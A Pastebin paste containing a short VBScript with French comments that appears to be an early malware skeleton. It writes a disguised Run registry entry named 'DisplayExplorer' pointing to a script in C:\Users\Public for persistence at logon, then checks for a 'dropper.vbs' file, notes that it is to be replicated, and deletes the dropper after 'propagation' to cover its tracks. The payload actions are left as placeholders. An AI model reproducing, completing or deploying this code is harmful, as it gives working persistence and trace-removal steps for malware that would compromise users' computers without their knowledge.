Advertisement
Guest User

Untitled

a guest
Jul 18th, 2017
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim ObjetRegedit
  2. On Error Resume Next
  3. set ObjetRegedit =  CreateObject("WScript.Shell" )
  4.  
  5. CleRegistre = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DisplayExplorer"
  6.  
  7. Function ExisteCle(cle)
  8. On Error Resume Next
  9.     Dim test
  10.     Set test = WScript.CreateObject("WScript.Shell")
  11.     test.RegRead cle
  12.     ExisteCle = (Err = 0)
  13. End function
  14.  
  15. If ExisteCle(CleRegistre) = true then
  16.     ContenuCle = ObjetRegedit.RegRead(CleRegistre)
  17.     WScript.Sleep(5000)
  18.     'faire une action apres un sleep
  19. Else
  20.     Dim WshShell
  21.     Set WshShell = WScript.CreateObject("WScript.Shell")
  22.     WshShell.RegWrite CleRegistre,"C:\Users\Public\dll_933.vbs"
  23.  
  24.     ContenuCle = "Maintenant la clé existe :)"
  25. End if
  26.  
  27. msgbox "Cle de Registre : " & ContenuCle
  28.  
  29. Set test = Nothing
  30. Set ObjetRegedit = Nothing
  31.  
  32. ' replique du dropper
  33. Set wshnetwork = WScript.CreateObject("WScript.Network" )
  34. user = wshnetwork.username
  35.  
  36. ' Test lexistence dun fichier
  37. Set objFSO = CreateObject("Scripting.FileSystemObject" )
  38.  
  39. If objFSO.FileExists("C:\Users\" + user + "\dropper.vbs") Then
  40.     ' *** if le dropper existe,, le repliquer
  41.     Wscript.Echo "Le fichier existe."
  42.  
  43.     ' une fois la propagation faite, supprimer le dropper
  44.     Set fso = WScript.CreateObject("Scripting.FileSystemObject")
  45.     fso.deletefile "C:\Users\" + user + "\dropper.vbs"
  46.     Set fso = Nothing
  47. Else
  48.     ' *** else le dropper nexiste pas, passer a la suite du script
  49.     Wscript.Echo "Le fichier n'existe pas."
  50. End If
  51. Set objFSO = Nothing
  52. Set wshnetwork = Nothing
  53.  
  54. ' action general
  55.  
  56. ' *** fin du script
  57. WScript.Quit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement